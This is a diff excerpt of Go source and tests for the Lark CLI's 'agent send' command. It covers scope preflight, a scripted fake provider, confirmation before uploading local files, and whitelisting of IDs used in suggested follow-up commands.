{"get", func(f *cmdutil.Factory) error {
|
||||
return agentContextGetRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
|
||||
})
|
||||
}},
|
||||
{"delete", func(f *cmdutil.Factory) error {
|
||||
return agentContextDeleteRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
|
||||
})
|
||||
}},
|
||||
}
|
||||
for _, tc := range runs {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
requirePreflightError(t, tc.run(f))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
|
||||
// provider scope set lets the real send proceed (the scripted Send hook fires,
|
||||
// proving preflight did not false-positive).
|
||||
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
|
||||
swapStoredScopes(t, fakescopedAllScopes)
|
||||
f, _ := userFactory(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
sent = true
|
||||
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
|
||||
}})
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Fatal("provider.Send should actually be called after preflight passes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
|
||||
// gate (fakescoped card declares task_cancel=false) answers before
|
||||
// provider/preflight, so a scope-missing user token yields
|
||||
// unsupported_capability, not missing_scope — proving the wired
|
||||
// preflight does not change the gate-first ordering.
|
||||
func TestTaskCancelPreflightWired(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskCancelRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// contains reports whether s appears in the slice.
|
||||
func contains(ss []string, s string) bool {
|
||||
for _, x := range ss {
|
||||
if x == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
10
cmd/agent/register_test.go
Normal file
10
cmd/agent/register_test.go
Normal file
@@ -0,0 +1,10 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
// The example provider self-registers via init(); in production it is pulled in
|
||||
// by the top-level agent package (blank-imported from cmd/build.go), not by
|
||||
// cmd/agent. Several tests here exercise the real example scheme (example:echo /
|
||||
// example:reporter), so register it explicitly for the test binary.
|
||||
import _ "github.com/larksuite/cli/agent/example"
|
||||
146
cmd/agent/scripted_provider_test.go
Normal file
146
cmd/agent/scripted_provider_test.go
Normal file
@@ -0,0 +1,146 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
|
||||
// one Provider func field; an unset hook that gets called panics — a tripwire
|
||||
// against a test reaching an unexpected provider path. This replaces the old
|
||||
// pattern of driving the (removed) real-OAPI adapter through httpmock stubs:
|
||||
// the command-layer contracts under test (envelope shape, watch exit codes,
|
||||
// meta.next, pretty rendering, error propagation) are provider-neutral.
|
||||
type scriptedHooks struct {
|
||||
send func(in iagent.SendInput) (*iagent.AgentTask, error)
|
||||
getTask func(taskID string) (*iagent.AgentTask, error)
|
||||
listTasks func(contextID string) ([]iagent.TaskSummary, error)
|
||||
listContexts func() ([]iagent.ContextSummary, error)
|
||||
getContext func(ctxID string) (*iagent.ContextDetail, error)
|
||||
deleteContext func(ctxID string) error
|
||||
downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
|
||||
}
|
||||
|
||||
// scripted is the package-level hook set shared by every scripted provider
|
||||
// instance (the registry factory cannot be re-pointed per test, the hooks can).
|
||||
var scripted scriptedHooks
|
||||
|
||||
// setScripted installs the hooks for one test and restores the empty (panic
|
||||
// tripwire) set on cleanup.
|
||||
func setScripted(t *testing.T, h scriptedHooks) {
|
||||
t.Helper()
|
||||
scripted = h
|
||||
t.Cleanup(func() { scripted = scriptedHooks{} })
|
||||
}
|
||||
|
||||
// newScriptedProvider builds a scripted *Provider. Its capability surface is
|
||||
// fixed by which fields are wired (the framework derives the card from this):
|
||||
// CancelTask is deliberately left unwired so task_cancel=false (the command
|
||||
// layer's cancel gate is exercised via example:echo); everything else the
|
||||
// command tests drive is wired, and FileInput=true so the --file gate/confirm
|
||||
// path is reachable. Each wired func delegates to the per-test hook and panics
|
||||
// if that hook was not set (tripwire against an unexpected provider path).
|
||||
func newScriptedProvider() *iagent.Provider {
|
||||
return &iagent.Provider{
|
||||
Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
if scripted.send == nil {
|
||||
panic("scripted provider: Send hook not set")
|
||||
}
|
||||
return scripted.send(in)
|
||||
},
|
||||
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
|
||||
if scripted.getTask == nil {
|
||||
panic("scripted provider: GetTask hook not set")
|
||||
}
|
||||
return scripted.getTask(taskID)
|
||||
},
|
||||
ListTasks: func(ctx context.Context, contextID string) ([]iagent.TaskSummary, error) {
|
||||
if scripted.listTasks == nil {
|
||||
panic("scripted provider: ListTasks hook not set")
|
||||
}
|
||||
return scripted.listTasks(contextID)
|
||||
},
|
||||
ListContexts: func(ctx context.Context) ([]iagent.ContextSummary, error) {
|
||||
if scripted.listContexts == nil {
|
||||
panic("scripted provider: ListContexts hook not set")
|
||||
}
|
||||
return scripted.listContexts()
|
||||
},
|
||||
GetContext: func(ctx context.Context, ctxID string) (*iagent.ContextDetail, error) {
|
||||
if scripted.getContext == nil {
|
||||
panic("scripted provider: GetContext hook not set")
|
||||
}
|
||||
return scripted.getContext(ctxID)
|
||||
},
|
||||
DeleteContext: func(ctx context.Context, ctxID string) error {
|
||||
if scripted.deleteContext == nil {
|
||||
panic("scripted provider: DeleteContext hook not set")
|
||||
}
|
||||
return scripted.deleteContext(ctxID)
|
||||
},
|
||||
DownloadArtifact: func(ctx context.Context, taskID, artifactID string) (*iagent.ArtifactData, error) {
|
||||
if scripted.downloadArtifact == nil {
|
||||
panic("scripted provider: DownloadArtifact hook not set")
|
||||
}
|
||||
return scripted.downloadArtifact(taskID, artifactID)
|
||||
},
|
||||
FileInput: true,
|
||||
}
|
||||
}
|
||||
|
||||
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
|
||||
// provider, sorted — the all-or-nothing preflight requires every one of these
|
||||
// for any real API verb.
|
||||
var fakescopedAllScopes = []string{
|
||||
"fakescoped:agent_artifact:read",
|
||||
"fakescoped:agent_attachment:write",
|
||||
"fakescoped:agent_chat:read",
|
||||
"fakescoped:agent_chat:write",
|
||||
}
|
||||
|
||||
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
|
||||
// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
|
||||
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id(形如 agt_xxx)"
|
||||
|
||||
// registerScripted registers the two scripted schemes exactly once (Register
|
||||
// panics on duplicates). Like the other fakes they leak into the package-level
|
||||
// registry for the remaining tests of this package run — so no test in this
|
||||
// package may assert an exact provider set or provider count.
|
||||
//
|
||||
// - fakeflow: instance kind, no RequiredScopes (preflight always passes) —
|
||||
// the workhorse for send/task/context command-layer tests.
|
||||
// - fakescoped: same behavior but declares a 4-scope RequiredScopes set, for
|
||||
// the scope-preflight framework tests.
|
||||
var registerScriptedOnce sync.Once
|
||||
|
||||
func registerScripted() {
|
||||
registerScriptedOnce.Do(func() {
|
||||
iagent.Register("fakeflow", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
|
||||
return newScriptedProvider(), nil
|
||||
},
|
||||
Label: "test fake (scripted flow)",
|
||||
AgentRefFormat: "fakeflow:<agent_id>",
|
||||
AgentIDSource: fakeflowAgentIDSource,
|
||||
Kind: iagent.KindInstance,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
})
|
||||
iagent.Register("fakescoped", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
|
||||
return newScriptedProvider(), nil
|
||||
},
|
||||
Label: "test fake (scoped)",
|
||||
AgentRefFormat: "fakescoped:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindInstance,
|
||||
RequiredScopes: fakescopedAllScopes,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
})
|
||||
})
|
||||
}
|
||||
341
cmd/agent/send.go
Normal file
341
cmd/agent/send.go
Normal file
@@ -0,0 +1,341 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// sendOptions holds all inputs for `agent send <ref>`.
|
||||
type sendOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
Text string
|
||||
Files []string
|
||||
Params []string
|
||||
ContextID string
|
||||
TaskID string
|
||||
DryRun bool
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
|
||||
// agent, starting a new task or continuing an existing one. `--dry-run`
|
||||
// validates the inputs against the agent Card and prints the request preview
|
||||
// without any API call (always available). A send fires and returns the
|
||||
// current task immediately; poll progress with
|
||||
// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
|
||||
// `--file` uploads local files to the remote agent — the content leaves this
|
||||
// machine. Risk=write. runF, when non-nil, replaces the production run path
|
||||
// (test seam).
|
||||
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
|
||||
opts := &sendOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "send <agent_ref>",
|
||||
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
|
||||
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
|
||||
"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
|
||||
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
|
||||
"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
if runF != nil {
|
||||
return runF(opts)
|
||||
}
|
||||
return agentSendRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文(必填)")
|
||||
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider(内容离开本机)")
|
||||
cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value,可重复(据 card 的 parameters 决定)")
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id(续发同一会话)")
|
||||
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
|
||||
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10,不上传)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentSendRun validates the send inputs, resolves the provider, and either
|
||||
// prints a dry-run preview or dispatches the message. The two client-side input
|
||||
// guards (empty --text; --task-id without --context-id) run first so they never
|
||||
// touch the network and hold even under a nil Factory. A send fires once
|
||||
// and returns the current task immediately (exit 0); the caller polls progress
|
||||
// via the meta.next `task get ... --watch` hint.
|
||||
func agentSendRun(opts *sendOptions) error {
|
||||
if opts.Text == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
|
||||
WithParam("--text").
|
||||
WithHint(`补充 --text "<消息内容>" 后重发`)
|
||||
}
|
||||
if opts.TaskID != "" && opts.ContextID == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--task-id 需与 --context-id 一起使用").
|
||||
WithParam("--task-id").
|
||||
WithHint("--task-id 必须与 --context-id 同时提供")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// Card lookup + --param validation + --dry-run are API-free:
|
||||
// resolve without a configured client so they work — and surface validation
|
||||
// errors as exit 2 — before the config gate, even when unconfigured.
|
||||
p, _, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
r, err := iagent.ParseRef(opts.Ref)
|
||||
if err != nil {
|
||||
return wrapRefResolveError(err)
|
||||
}
|
||||
card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
in := iagent.SendInput{
|
||||
Text: opts.Text,
|
||||
Files: opts.Files,
|
||||
Params: params,
|
||||
ContextID: opts.ContextID,
|
||||
TaskID: opts.TaskID,
|
||||
}
|
||||
|
||||
// --dry-run is a client-side behavior: always available, never
|
||||
// gated by the Card's dry_run capability, and never touches the API.
|
||||
if opts.DryRun {
|
||||
return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
|
||||
}
|
||||
|
||||
if len(in.Files) > 0 {
|
||||
// An agent that does not declare file_input cannot take an upload, so
|
||||
// --file against it is unsupported_capability — gated before any network
|
||||
// access, so the user is not told "confirm the upload" for a send that
|
||||
// would be rejected anyway.
|
||||
if !card.Supports(iagent.CapFileInput) {
|
||||
return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
|
||||
}
|
||||
// --file exfiltrates local file content off this machine (the provider
|
||||
// reads the file and uploads it to the remote agent). That is an
|
||||
// irreversible, CLI-enforced high-risk write: a real send that would upload
|
||||
// requires --yes, returning confirmation_required (exit 10) before any
|
||||
// network access. dry-run above is exempt — it never uploads.
|
||||
if !opts.Yes {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
|
||||
"--file 会把本地文件外发上传到远端 agent(内容离开本机,不可撤回)").
|
||||
WithHint("确认要外发这些文件后,加 --yes 重发")
|
||||
}
|
||||
}
|
||||
|
||||
// A real send calls the API, so it needs a configured client; resolve it now
|
||||
// (not_configured / exit 3 here is correct for an actual API call).
|
||||
pc, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
// The check is all-or-nothing — any real API verb requires the provider's
|
||||
// full scope set.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
task, err := pc.Send(opts.Cmd.Context(), in)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
normalizeTask(task)
|
||||
|
||||
// A send fires and returns the current task immediately (exit 0). Progress is
|
||||
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
|
||||
// hint — send no longer blocks on the task reaching a stop condition.
|
||||
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
|
||||
}
|
||||
|
||||
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
|
||||
// reconstructed from the validated input, so a caller can inspect exactly what
|
||||
// a real send would post without contacting the agent. format=pretty (no --jq)
|
||||
// renders the same fields as key: value lines instead of the envelope.
|
||||
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintln(out, "dry_run: true")
|
||||
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
|
||||
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
|
||||
if len(in.Files) > 0 {
|
||||
fmt.Fprintf(out, "files: %d\n", len(in.Files))
|
||||
}
|
||||
if len(in.Params) > 0 {
|
||||
fmt.Fprintf(out, "params: %d\n", len(in.Params))
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
would := map[string]interface{}{
|
||||
"agent_ref": ref,
|
||||
"text": in.Text,
|
||||
}
|
||||
if len(in.Files) > 0 {
|
||||
would["files"] = in.Files
|
||||
}
|
||||
if len(in.Params) > 0 {
|
||||
would["params"] = in.Params
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
would["context_id"] = in.ContextID
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
would["task_id"] = in.TaskID
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"dry_run": true,
|
||||
"would_send": would,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// nextIDPattern is the character whitelist for server-supplied identifiers
|
||||
// (task_id / context_id) before they are interpolated into a meta.next command
|
||||
// string: letters, digits, '_' and '-' only. It is deliberately stricter than
|
||||
// validate.ResourceName — that check is a denylist aimed at URL-path safety and
|
||||
// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
|
||||
// exactly what matters here: meta.next is defined as "AI executes this
|
||||
// verbatim", so a server-controlled id is a command-injection surface.
|
||||
var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
||||
|
||||
// safeNextID reports whether s may be interpolated into a meta.next command.
|
||||
func safeNextID(s string) bool {
|
||||
return nextIDPattern.MatchString(s)
|
||||
}
|
||||
|
||||
// nextRefPattern is the whitelist for a user-supplied ref before it is
|
||||
// interpolated into a meta.next command or a hint command string: the
|
||||
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
|
||||
// shape ParseRef accepts, further restricted to command-safe characters). A
|
||||
// ref is not server-controlled — the threat model is not injection but
|
||||
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
|
||||
// be executed verbatim), so a failing ref simply drops the command hint.
|
||||
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
|
||||
|
||||
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
|
||||
// command string.
|
||||
func safeNextRef(ref string) bool {
|
||||
return nextRefPattern.MatchString(ref)
|
||||
}
|
||||
|
||||
// nextForTask builds the meta.next[] hints for a send result: a terminal task
|
||||
// suggests fetching its artifacts / detail, a still-running task the poll
|
||||
// command, an input_required task the continue command, and an auth_required
|
||||
// task the re-authorize flow (auth login, not a text continuation). AI callers use
|
||||
// these to chain the next step without guessing the command shape, so every
|
||||
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
|
||||
// and the task_id (safeNextID) each suppress the whole hint when they fail
|
||||
// (prefer dropping the hint over risking injection); a failing context_id
|
||||
// degrades to the <context_id> placeholder,
|
||||
// which keeps the hint while interpolating nothing untrusted. A hint whose
|
||||
// command carries <...> placeholders is marked Template so callers know it
|
||||
// needs substitution before execution.
|
||||
func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
|
||||
if !safeNextRef(ref) {
|
||||
return nil
|
||||
}
|
||||
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
|
||||
return nil
|
||||
}
|
||||
if task.State.ShouldStopPolling() {
|
||||
if task.State == iagent.StateAuthRequired {
|
||||
// auth_required is an agent-side task state — the end user must
|
||||
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
|
||||
// NOT a text continuation like input_required. Point at the auth
|
||||
// re-authorize flow instead of a text continuation. The concrete scopes are the
|
||||
// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
|
||||
// placeholder → Template. ref/task_id are already whitelisted above, so
|
||||
// echoing the re-check command in the label is safe.
|
||||
return []output.NextAction{{
|
||||
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agent task get %s %s)", ref, task.TaskID),
|
||||
Command: `lark-cli auth login --scope "<required_scopes>"`,
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
if task.State == iagent.StateInputRequired {
|
||||
// A send that already needs input: point at the continue command
|
||||
// against the same task/context. The --text value is
|
||||
// always a placeholder, so this hint is a template — which is also why
|
||||
// a missing or whitelist-failing context_id can degrade to the
|
||||
// <context_id> placeholder instead of dropping the hint.
|
||||
ctxID := task.ContextID
|
||||
if ctxID == "" || !safeNextID(ctxID) {
|
||||
ctxID = "<context_id>"
|
||||
}
|
||||
return []output.NextAction{{
|
||||
Label: "补充输入后向同一任务续发",
|
||||
Command: fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
// Terminal: suggest reading the final detail / artifacts.
|
||||
return []output.NextAction{{
|
||||
Label: "查看任务详情与产物",
|
||||
Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
|
||||
}}
|
||||
}
|
||||
return []output.NextAction{{
|
||||
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch)",
|
||||
Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
|
||||
}}
|
||||
}
|
||||
|
||||
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
|
||||
// still-running task: a safe default that avoids an unbounded --watch blocking
|
||||
// forever on a long task and stops an AI caller from self-hammering. On expiry
|
||||
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
|
||||
// caller re-watches in segments rather than blocking once. `--watch` used alone
|
||||
// (--timeout 0) stays unbounded for backward compatibility.
|
||||
const defaultWatchTimeout = 30 * time.Second
|
||||
451
cmd/agent/send_test.go
Normal file
451
cmd/agent/send_test.go
Normal file
@@ -0,0 +1,451 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning) and whose --as flag is
|
||||
// explicitly set to bot so ResolveAs honors it verbatim.
|
||||
func sendCmdCtx(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: "send"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if err := leaf.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
|
||||
// the scripted fakeflow agent agt_x under an explicit bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test — everything under test here is command-layer behavior over the
|
||||
// scripted provider.
|
||||
func sendTestOpts(t *testing.T) *sendOptions {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
return &sendOptions{
|
||||
Factory: f,
|
||||
Cmd: sendCmdCtx(t),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendRequiresText pins that an empty --text is a validation error
|
||||
// (subtype invalid_argument) raised before any provider is built.
|
||||
func TestSendRequiresText(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
|
||||
if err == nil {
|
||||
t.Fatal("missing --text should raise a validation error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: a missing --text must carry a copy-pasteable remediation
|
||||
// hint, and the param uses the -- prefix.
|
||||
if !strings.Contains(p.Hint, "--text") {
|
||||
t.Errorf("hint should guide adding --text, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--text" {
|
||||
t.Errorf("param should be --text, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
|
||||
// validation error, raised before any provider is built.
|
||||
func TestSendTaskIDRequiresContextID(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
|
||||
if err == nil {
|
||||
t.Fatal("--task-id without --context-id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: state the next step clearly (--task-id must be provided
|
||||
// together with --context-id).
|
||||
if !strings.Contains(p.Hint, "--context-id") {
|
||||
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--task-id" {
|
||||
t.Errorf("param should be --task-id, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// workingTask is the canonical non-terminal task the scripted Send returns for
|
||||
// the happy-path tests.
|
||||
func workingTask() *iagent.AgentTask {
|
||||
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
|
||||
}
|
||||
|
||||
// TestSendPrettyFormat pins that `send --format pretty` renders the
|
||||
// resulting task as key: value lines (previously the flag was registered but
|
||||
// silently ignored).
|
||||
func TestSendPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
